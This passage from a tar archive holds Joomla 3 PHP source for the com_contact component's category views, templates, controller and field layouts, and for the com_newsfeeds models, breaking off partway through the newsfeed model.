</metadata>
com_contact/views/category/tmpl/default.php000060400000000550152453734460015131 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->subtemplatename = 'items';
echo JLayoutHelper::render('joomla.content.category_default', $this);
com_contact/views/category/tmpl/default_items.php000060400000012672152453734460016342 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');

?>
<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
	<?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
		<fieldset class="filters btn-toolbar">
			<?php if ($this->params->get('filter_field')) : ?>
				<div class="btn-group">
					<label class="filter-search-lbl element-invisible" for="filter-search">
						<span class="label label-warning">
							<?php echo JText::_('JUNPUBLISHED'); ?>
						</span>
							<?php echo JText::_('COM_CONTACT_FILTER_LABEL') . '&#160;'; ?>
					</label>
					<input
						type="text"
						name="filter-search"
						id="filter-search"
						value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
						class="inputbox"
						onchange="document.adminForm.submit();"
						title="<?php echo JText::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
						placeholder="<?php echo JText::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
					/>
				</div>
			<?php endif; ?>
			<?php if ($this->params->get('show_pagination_limit')) : ?>
				<div class="btn-group pull-right">
					<label for="limit" class="element-invisible">
						<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
					</label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			<?php endif; ?>
		</fieldset>
	<?php endif; ?>
	<?php if (empty($this->items)) : ?>
		<p>
			<?php echo JText::_('COM_CONTACT_NO_CONTACTS'); ?>
		</p>
	<?php else : ?>
		<ul class="category row-striped">
			<?php foreach ($this->items as $i => $item) : ?>
				<?php if (in_array($item->access, $this->user->getAuthorisedViewLevels())) : ?>
					<?php if ($this->items[$i]->published == 0) : ?>
						<li class="row-fluid system-unpublished cat-list-row<?php echo $i % 2; ?>">
					<?php else : ?>
						<li class="row-fluid cat-list-row<?php echo $i % 2; ?>" >
					<?php endif; ?>
					<?php if ($this->params->get('show_image_heading')) : ?>
						<?php $contactWidth = 7; ?>
						<div class="span2 col-md-2">
							<?php if ($this->items[$i]->image) : ?>
								<a href="<?php echo JRoute::_(ContactHelperRoute::getContactRoute($item->slug, $item->catid)); ?>">
									<?php echo JHtml::_(
										'image',
										$this->items[$i]->image,
										JText::_('COM_CONTACT_IMAGE_DETAILS'),
										array('class' => 'contact-thumbnail img-thumbnail')
									); ?>
								</a>
							<?php endif; ?>
						</div>
					<?php else : ?>
						<?php $contactWidth = 9; ?>
					<?php endif; ?>
					<div class="list-title span<?php echo $contactWidth; ?> col-md-<?php echo $contactWidth; ?>">
						<a href="<?php echo JRoute::_(ContactHelperRoute::getContactRoute($item->slug, $item->catid)); ?>">
							<?php echo $item->name; ?>
						</a>
						<?php if ($this->items[$i]->published == 0) : ?>
							<span class="label label-warning">
								<?php echo JText::_('JUNPUBLISHED'); ?>
							</span>
						<?php endif; ?>
						<?php echo $item->event->afterDisplayTitle; ?>
						<?php echo $item->event->beforeDisplayContent; ?>
						<?php if ($this->params->get('show_position_headings')) : ?>
							<?php echo $item->con_position; ?><br />
						<?php endif; ?>
						<?php if ($this->params->get('show_email_headings')) : ?>
							<?php echo $item->email_to; ?><br />
						<?php endif; ?>
						<?php $location = array(); ?>
						<?php if ($this->params->get('show_suburb_headings') && !empty($item->suburb)) : ?>
							<?php $location[] = $item->suburb; ?>
						<?php endif; ?>
						<?php if ($this->params->get('show_state_headings') && !empty($item->state)) : ?>
							<?php $location[] = $item->state; ?>
						<?php endif; ?>
						<?php if ($this->params->get('show_country_headings') && !empty($item->country)) : ?>
							<?php $location[] = $item->country; ?>
						<?php endif; ?>
						<?php echo implode(', ', $location); ?>
					</div>
					<div class="span3 col-md-3">
						<?php if ($this->params->get('show_telephone_headings') && !empty($item->telephone)) : ?>
							<?php echo JText::sprintf('COM_CONTACT_TELEPHONE_NUMBER', $item->telephone); ?><br />
						<?php endif; ?>
						<?php if ($this->params->get('show_mobile_headings') && !empty ($item->mobile)) : ?>
							<?php echo JText::sprintf('COM_CONTACT_MOBILE_NUMBER', $item->mobile); ?><br />
						<?php endif; ?>
						<?php if ($this->params->get('show_fax_headings') && !empty($item->fax)) : ?>
							<?php echo JText::sprintf('COM_CONTACT_FAX_NUMBER', $item->fax); ?><br />
						<?php endif; ?>
					</div>
					<?php echo $item->event->afterDisplayContent; ?>
				</li>
				<?php endif; ?>
			<?php endforeach; ?>
		</ul>
	<?php endif; ?>
	<?php if ($this->params->get('show_pagination', 2)) : ?>
		<div class="pagination">
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<p class="counter">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</p>
			<?php endif; ?>
			<?php echo $this->pagination->getPagesLinks(); ?>
		</div>
	<?php endif; ?>
	<div>
		<input type="hidden" name="filter_order" value="<?php echo $this->escape($this->state->get('list.ordering')); ?>" />
		<input type="hidden" name="filter_order_Dir" value="<?php echo $this->escape($this->state->get('list.direction')); ?>" />
	</div>
</form>
com_contact/views/category/tmpl/default_children.php000060400000003372152453734460017006 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
$class = ' class="first"';
if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) :
?>
<ul class="list-striped list-condensed">
<?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
	<?php
	if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) :
		if (!isset($this->children[$this->category->id][$id + 1]))
		{
			$class = ' class="last"';
		}
	?>
	<li<?php echo $class; ?>>
		<?php $class = ''; ?>
			<h4 class="item-title">
				<a href="<?php echo JRoute::_(ContactHelperRoute::getCategoryRoute($child->id)); ?>">
				<?php echo $this->escape($child->title); ?>
				</a>

				<?php if ($this->params->get('show_cat_items') == 1) : ?>
					<span class="badge badge-info pull-right" title="<?php echo JText::_('COM_CONTACT_CAT_NUM'); ?>"><?php echo $child->numitems; ?></span>
				<?php endif; ?>
			</h4>

			<?php if ($this->params->get('show_subcat_desc') == 1) : ?>
				<?php if ($child->description) : ?>
					<div class="category-desc">
						<?php echo JHtml::_('content.prepare', $child->description, '', 'com_contact.category'); ?>
					</div>
				<?php endif; ?>
			<?php endif; ?>

			<?php if (count($child->getChildren()) > 0 ) :
				$this->children[$child->id] = $child->getChildren();
				$this->category = $child;
				$this->maxLevel--;
				echo $this->loadTemplate('children');
				$this->category = $child->getParent();
				$this->maxLevel++;
			endif; ?>
	</li>
	<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
com_contact/views/category/view.html.php000060400000005645152453734460014460 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Contacts component
 *
 * @since  1.5
 */
class ContactViewCategory extends JViewCategory
{
	/**
	 * @var    string  The name of the extension for the category
	 * @since  3.2
	 */
	protected  $extension = 'com_contact';

	/**
	 * @var    string  Default title to use for page title
	 * @since  3.2
	 */
	protected  $defaultPageTitle = 'COM_CONTACT_DEFAULT_PAGE_TITLE';

	/**
	 * @var    string  The name of the view to link individual items to
	 * @since  3.2
	 */
	protected $viewName = 'contact';

	/**
	 * Run the standard Joomla plugins
	 *
	 * @var    bool
	 * @since  3.5
	 */
	protected $runPlugins = true;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		parent::commonCategoryDisplay();

		// Flag indicates to not add limitstart=0 to URL
		$this->pagination->hideEmptyLimitstart = true;

		// Prepare the data.
		// Compute the contact slug.
		foreach ($this->items as $item)
		{
			$item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
			$temp       = $item->params;
			$item->params = clone $this->params;
			$item->params->merge($temp);

			if ($item->params->get('show_email_headings', 0) == 1)
			{
				$item->email_to = trim($item->email_to);

				if (!empty($item->email_to) && JMailHelper::isEmailAddress($item->email_to))
				{
					$item->email_to = JHtml::_('email.cloak', $item->email_to);
				}
				else
				{
					$item->email_to = '';
				}
			}
		}

		return parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 */
	protected function prepareDocument()
	{
		parent::prepareDocument();

		$menu = $this->menu;
		$id = (int) @$menu->query['id'];

		if ($menu && (!isset($menu->query['option']) || $menu->query['option'] != $this->extension || $menu->query['view'] == $this->viewName
			|| $id != $this->category->id))
		{
			$path = array(array('title' => $this->category->title, 'link' => ''));
			$category = $this->category->getParent();

			while ($category !== null && $category->id !== 'root ' &&
				(!isset($menu->query['option']) || $menu->query['option'] !== 'com_contact' || $menu->query['view'] === 'contact' || $id != $category->id))
			{
				$path[] = array('title' => $category->title, 'link' => ContactHelperRoute::getCategoryRoute($category->id));
				$category = $category->getParent();
			}

			$path = array_reverse($path);

			foreach ($path as $item)
			{
				$this->pathway->addItem($item['title'], $item['link']);
			}
		}

		parent::addFeed();
	}
}
com_contact/views/category/view.feed.php000060400000001622152453734460014406 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Contact component
 *
 * @since  1.5
 */
class ContactViewCategory extends JViewCategoryfeed
{
	/**
	 * @var    string  The name of the view to link individual items to
	 * @since  3.2
	 */
	protected $viewName = 'contact';

	/**
	 * Method to reconcile non standard names from components to usage in this class.
	 * Typically overridden in the component feed view class.
	 *
	 * @param   object  $item  The item for a feed, an element of the $items array.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function reconcileNames($item)
	{
		parent::reconcileNames($item);

		$item->description = $item->address;
	}
}
com_contact/controller.php000060400000003130152453734460011737 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Component Controller
 *
 * @since  1.5
 */
class ContactController extends JControllerLegacy
{
	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $default_view = 'contacts';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  ContactController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		JLoader::register('ContactHelper', JPATH_ADMINISTRATOR . '/components/com_contact/helpers/contact.php');

		$view   = $this->input->get('view', 'contacts');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'contact' && $layout == 'edit' && !$this->checkEditId('com_contact.edit.contact', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_contact&view=contacts', false));

			return false;
		}

		return parent::display();
	}
}
com_contact/layouts/fields/render.php000060400000002734152453734460014012 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Check if we have all the data
if (!key_exists('item', $displayData) || !key_exists('context', $displayData))
{
	return;
}

// Setting up for display
$item = $displayData['item'];

if (!$item)
{
	return;
}

$context = $displayData['context'];

if (!$context)
{
	return;
}

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

$parts     = explode('.', $context);
$component = $parts[0];
$fields    = null;

if (key_exists('fields', $displayData))
{
	$fields = $displayData['fields'];
}
else
{
	$fields = $item->jcfields ?: FieldsHelper::getFields($context, $item, true);
}

if (!$fields)
{
	return;
}

// Check if we have mail context in first element
$isMail = (reset($fields)->context == 'com_contact.mail');

if (!$isMail)
{
	// Print the container tag
	echo '<dl class="fields-container contact-fields dl-horizontal">';
}

// Loop through the fields and print them
foreach ($fields as $field)
{
	// If the value is empty do nothing
	if (!strlen($field->value) && !$isMail)
	{
		continue;
	}

	$layout = $field->params->get('layout', 'render');
	echo FieldsHelper::render($context, 'field.' . $layout, array('field' => $field));
}

if (!$isMail)
{
	// Close the container
	echo '</dl>';
}

com_contact/layouts/joomla/form/renderfield.php000060400000003521152453734460015767 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * ---------------------
 * 	$options         : (array)  Optional parameters
 * 	$label           : (string) The html code for the label (not required if $options['hiddenLabel'] is true)
 * 	$input           : (string) The input field html code
 */

if (!empty($options['showonEnabled']))
{
	JHtml::_('jquery.framework');
	JHtml::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true));
}

$class = empty($options['class']) ? '' : ' ' . $options['class'];
$rel   = empty($options['rel']) ? '' : ' ' . $options['rel'];

/**
 * @TODO:
 *
 * As mentioned in #8473 (https://github.com/joomla/joomla-cms/pull/8473), ...
 * as long as we cannot access the field properties properly, this seems to
 * be the way to go for now.
 *
 * On a side note: Parsing html is seldom a good idea.
 * https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454
 */
preg_match('/class=\"([^\"]+)\"/i', $input, $match);

$required      = (strpos($input, 'aria-required="true"') !== false || (!empty($match[1]) && strpos($match[1], 'required') !== false));
$typeOfSpacer  = (strpos($label, 'spacer-lbl') !== false);

?>
<div class="control-group<?php echo $class; ?>"<?php echo $rel; ?>>
	<?php if (empty($options['hiddenLabel'])) : ?>
		<div class="control-label">
			<?php echo $label; ?>
			<?php if (!$required && !$typeOfSpacer) : ?>
				<span class="optional"><?php echo JText::_('COM_CONTACT_OPTIONAL'); ?></span>
			<?php endif; ?>
		</div>
	<?php endif; ?>
	<div class="controls"><?php echo $input; ?></div>
</div>
com_contact/layouts/field/render.php000060400000002221152453734460013616 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

if (!key_exists('field', $displayData))
{
	return;
}

$field     = $displayData['field'];
$label     = JText::_($field->label);
$value     = $field->value;
$class     = $field->params->get('render_class');
$showLabel = $field->params->get('showlabel');
$labelClass = $field->params->get('label_render_class');

if ($field->context == 'com_contact.mail')
{
	// Prepare the value for the contact form mail
	$value = html_entity_decode($value);

	echo ($showLabel ? $label . ': ' : '') . $value . "\r\n";
	return;
}

if (!strlen($value))
{
	return;
}

?>
<dt class="contact-field-entry <?php echo $class; ?>">
	<?php if ($showLabel == 1) : ?>
		<span class="field-label <?php echo $labelClass; ?>"><?php echo htmlentities($label, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?>: </span>
	<?php endif; ?>
</dt>
<dd class="contact-field-entry <?php echo $class; ?>">
	<span class="field-value"><?php echo $value; ?></span>
</dd>
com_newsfeeds/models/categories.php000060400000006253152453734460013525 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * This models supports retrieving lists of newsfeed categories.
 *
 * @since  1.6
 */
class NewsfeedsModelCategories extends JModelList
{
	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	public $_context = 'com_newsfeeds.categories';

	/**
	 * The category context (allows other extensions to derived from this model).
	 *
	 * @var		string
	 */
	protected $_extension = 'com_newsfeeds';

	private $_parent = null;

	private $_items = null;

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field
	 * @param   string  $direction  An optional direction [asc|desc]
	 *
	 * @return void
	 *
	 * @throws Exception
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();
		$this->setState('filter.extension', $this->_extension);

		// Get the parent id if defined.
		$parentId = $app->input->getInt('id');
		$this->setState('filter.parentId', $parentId);

		$params = $app->getParams();
		$this->setState('params', $params);

		$this->setState('filter.published',	1);
		$this->setState('filter.access',	true);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.extension');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.parentId');

		return parent::getStoreId($id);
	}

	/**
	 * redefine the function an add some properties to make the styling more easy
	 *
	 * @return mixed An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		if ($this->_items === null)
		{
			$app = JFactory::getApplication();
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$params = new Registry;

			if ($active)
			{
				$params->loadString($active->params);
			}

			$options = array();
			$options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0);
			$categories = JCategories::getInstance('Newsfeeds', $options);
			$this->_parent = $categories->get($this->getState('filter.parentId', 'root'));

			if (is_object($this->_parent))
			{
				$this->_items = $this->_parent->getChildren();
			}
			else
			{
				$this->_items = false;
			}
		}

		return $this->_items;
	}

	/**
	 * get the Parent
	 *
	 * @return null
	 */
	public function getParent()
	{
		if (!is_object($this->_parent))
		{
			$this->getItems();
		}

		return $this->_parent;
	}
}
com_newsfeeds/models/category.php000060400000020715152453734460013214 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Newsfeeds Component Category Model
 *
 * @since  1.5
 */
class NewsfeedsModelCategory extends JModelList
{
	/**
	 * Category items data
	 *
	 * @var array
	 */
	protected $_item = null;

	protected $_articles = null;

	protected $_siblings = null;

	protected $_children = null;

	protected $_parent = null;

	/**
	 * The category that applies.
	 *
	 * @access    protected
	 * @var        object
	 */
	protected $_category = null;

	/**
	 * The list of other newsfeed categories.
	 *
	 * @access    protected
	 * @var        array
	 */
	protected $_categories = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'numarticles', 'a.numarticles',
				'link', 'a.link',
				'ordering', 'a.ordering',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a list of items.
	 *
	 * @return  mixed  An array of objects on success, false on failure.
	 */
	public function getItems()
	{
		// Invoke the parent getItems method to get the main list
		$items = parent::getItems();

		// Convert the params field into an object, saving original in _params
		foreach ($items as $item)
		{
			if (!isset($this->_params))
			{
				$params = new Registry;
				$item->params = $params;
				$params->loadString($item->params);
			}

			// Some contexts may not use tags data at all, so we allow callers to disable loading tag data
			if ($this->getState('load_tags', true))
			{
				$item->tags = new JHelperTags;
				$item->tags->getItemTags('com_newsfeeds.newsfeed', $item->id);
			}
		}

		return $items;
	}

	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return  string    An SQL query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select required fields from the categories.
		$query->select($this->getState('list.select', 'a.*'))
			->from($db->quoteName('#__newsfeeds') . ' AS a')
			->where('a.access IN (' . $groups . ')');

		// Filter by category.
		if ($categoryId = $this->getState('category.id'))
		{
			$query->where('a.catid = ' . (int) $categoryId)
				->join('LEFT', '#__categories AS c ON c.id = a.catid')
				->where('c.access IN (' . $groups . ')');
		}

		// Filter by state
		$state = $this->getState('filter.published');

		if (is_numeric($state))
		{
			$query->where('a.published = ' . (int) $state);
		}
		else
		{
			$query->where('(a.published IN (0,1,2))');
		}

		// Filter by start and end dates.
		$nullDate = $db->quote($db->getNullDate());
		$date = JFactory::getDate();
		$nowDate = $db->quote($date->format($db->getDateFormat()));

		if ($this->getState('filter.publish_date'))
		{
			$query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')')
				->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')');
		}

		// Filter by search in title
		$search = $this->getState('list.filter');

		if (!empty($search))
		{
			$search = $db->quote('%' . $db->escape($search, true) . '%');
			$query->where('(a.name LIKE ' . $search . ')');
		}

		// Filter by language
		if ($this->getState('filter.language'))
		{
			$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field
	 * @param   string  $direction  An optional direction [asc|desc]
	 *
	 * @return void
	 *
	 * @since   1.6
	 *
	 * @throws Exception
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();
		$params = JComponentHelper::getParams('com_newsfeeds');

		// List state information
		$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
		$this->setState('list.limit', $limit);

		$limitstart = $app->input->get('limitstart', 0, 'uint');
		$this->setState('list.start', $limitstart);

		// Optional filter text
		$this->setState('list.filter', $app->input->getString('filter-search'));

		$orderCol = $app->input->get('filter_order', 'ordering');

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = 'ordering';
		}

		$this->setState('list.ordering', $orderCol);

		$listOrder = $app->input->get('filter_order_Dir', 'ASC');

		if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', '')))
		{
			$listOrder = 'ASC';
		}

		$this->setState('list.direction', $listOrder);

		$id = $app->input->get('id', 0, 'int');
		$this->setState('category.id', $id);

		$user = JFactory::getUser();

		if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds')))
		{
			// Limit to published for people who can't edit or edit.state.
			$this->setState('filter.published', 1);

			// Filter by start and end dates.
			$this->setState('filter.publish_date', true);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Method to get category data for the current category
	 *
	 * @return  object
	 *
	 * @since   1.5
	 */
	public function getCategory()
	{
		if (!is_object($this->_item))
		{
			$app = JFactory::getApplication();
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$params = new Registry;

			if ($active)
			{
				$params->loadString($active->params);
			}

			$options = array();
			$options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0);
			$categories = JCategories::getInstance('Newsfeeds', $options);
			$this->_item = $categories->get($this->getState('category.id', 'root'));

			if (is_object($this->_item))
			{
				$this->_children = $this->_item->getChildren();
				$this->_parent = false;

				if ($this->_item->getParent())
				{
					$this->_parent = $this->_item->getParent();
				}

				$this->_rightsibling = $this->_item->getSibling();
				$this->_leftsibling = $this->_item->getSibling(false);
			}
			else
			{
				$this->_children = false;
				$this->_parent = false;
			}
		}

		return $this->_item;
	}

	/**
	 * Get the parent category.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function getParent()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_parent;
	}

	/**
	 * Get the sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function &getLeftSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_leftsibling;
	}

	/**
	 * Get the sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function &getRightSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_rightsibling;
	}

	/**
	 * Get the child categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function &getChildren()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_children;
	}

	/**
	 * Increment the hit counter for the category.
	 *
	 * @param   int  $pk  Optional primary key of the category to increment.
	 *
	 * @return  boolean True if successful; false otherwise and internal error set.
	 */
	public function hit($pk = 0)
	{
		$input    = JFactory::getApplication()->input;
		$hitcount = $input->getInt('hitcount', 1);

		if ($hitcount)
		{
			$pk    = (!empty($pk)) ? $pk : (int) $this->getState('category.id');
			$table = JTable::getInstance('Category', 'JTable');
			$table->hit($pk);
		}

		return true;
	}
}
com_newsfeeds/models/newsfeed.php000060400000030255152453734460013177 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

JLoader::register('NewsfeedsHelper', JPATH_ADMINISTRATOR . '/components/com_newsfeeds/helpers/newsfeeds.php');

/**
 * Newsfeed model.
 *
 * @since  1.6
 */
class NewsfeedsModelNewsfeed extends JModelAdmin
{
	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_newsfeeds.newsfeed';

	/**
	 * The context used for the associations table
	 *
	 * @var string
	 * @since    3.4.4
	 */
	protected $associationsContext = 'com_newsfeeds.item';

	/**
	 * @var     string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_NEWSFEEDS';

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->published != -2)
		{
			return false;
		}

		if (!empty($record->catid))
		{
			return JFactory::getUser()->authorise('core.delete', 'com_newsfeed.category.' . (int) $record->catid);
		}

		return parent::canDelete($record);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		if (!empty($record->catid))
		{
			return JFactory::getUser()->authorise('core.edit.state', 'com_newsfeeds.category.' . (int) $record->catid);
		}

		return parent::canEditState($record);
	}

	/**
	 * Returns a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable    A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Newsfeed', $prefix = 'NewsfeedsTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_newsfeeds.newsfeed', 'newsfeed', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Determine correct permissions to check.
		if ($this->getState('newsfeed.id'))
		{
			// Existing record. Can only edit in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.edit');
		}
		else
		{
			// New record. Can only create in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.create');
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');
			$form->setFieldAttribute('publish_up', 'disabled', 'true');
			$form->setFieldAttribute('publish_down', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
